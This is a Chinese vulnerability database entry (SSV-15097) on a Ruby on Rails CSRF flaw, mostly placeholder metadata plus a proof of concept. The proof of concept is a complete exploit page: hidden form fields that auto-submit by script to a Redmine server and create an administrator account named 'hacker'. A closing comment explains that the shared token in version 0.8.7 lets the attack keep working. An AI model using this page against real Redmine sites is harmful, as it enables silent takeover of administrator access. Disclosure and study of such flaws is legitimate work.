Ruby on Rails 'protect_from_forgery'跨站脚本请求伪造漏洞

基本字段

漏洞编号：: SSV-15097

披露/发现时间：: 未知

提交时间：: 2009-12-17

漏洞等级：

漏洞类别：: 跨站脚本

影响组件：: Ruby on Rails
(影响版本较多,点击查看)

漏洞作者：: 未知

提交者：: Knownsec

CVE-ID：: 补充

CNNVD-ID：: 补充

CNVD-ID：: 补充

ZoomEye Dork：: 补充

来源

漏洞详情

贡献者 Knownsec 共获得 0KB

共 0 兑换了

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得 0.4KB

/** * Redmine &lt;= 0.8.6 CSRF Add Admin User Exploit * Discovered by: p0deje (http://p0deje.blogspot.com) * Application: http://www.redmine.org/wiki/redmine/Download * SA: http://www.redmine.org/news/30 * Date: 13.11.2009 * Versions affected: &lt;= 0.8.6 * Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights */ &lt;html&gt; &lt;body&gt; &lt;form method=POST action=&quot;http://www.example.com/users/new&quot;&gt; &lt;input style=&quot;display: none&quot; type=&quot;text&quot; value=&quot;hacker&quot; size=&quot;25&quot; name=&quot;user[login]&quot; id=&quot;user_login&quot;/&gt; &lt;input style=&quot;display: none&quot; type=&quot;text&quot; value=&quot;hacker&quot; size=&quot;30&quot; name=&quot;user[firstname]&quot; id=&quot;user_firstname&quot;/&gt; &lt;input style=&quot;display: none&quot; type=&quot;text&quot; value=&quot;hacker&quot; size=&quot;30&quot; name=&quot;user[lastname]&quot; id=&quot;user_lastname&quot;/&gt; &lt;input style=&quot;display: none&quot; type=&quot;text&quot; value=&quot;hacker@hacker.com&quot; size=&quot;30&quot; name=&quot;user[mail]&quot; id=&quot;user_mail&quot;/&gt; &lt;input style=&quot;display: none&quot; type=&quot;password&quot; size=&quot;25&quot; name=&quot;password&quot; id=&quot;password&quot; value=&quot;hacker&quot; /&gt; &lt;input style=&quot;display: none&quot; type=&quot;password&quot; size=&quot;25&quot; name=&quot;password_confirmation&quot; id=&quot;password_confirmation&quot; value=&quot;hacker&quot; /&gt; &lt;input style=&quot;display: none&quot; type=&quot;checkbox&quot; value=&quot;1&quot; name=&quot;user[admin]&quot; id=&quot;user_admin&quot;/&gt; &lt;input style=&quot;display: none&quot; type=&quot;hidden&quot; value=&quot;1&quot; name=&quot;user[admin]&quot;/&gt; &lt;input style=&quot;display: none&quot; type=&quot;submit&quot; value=&quot;Create&quot; id=&quot;commit&quot; name=&quot;commit&quot; /&gt; &lt;/form&gt; &lt;script&gt;document.getElementById(&quot;commit&quot;).click();&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; /** * P.S. Actually, this vulnerability wasn&#039;t fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users. * Thus, you can add POST data with token of any user and exploit will be working again */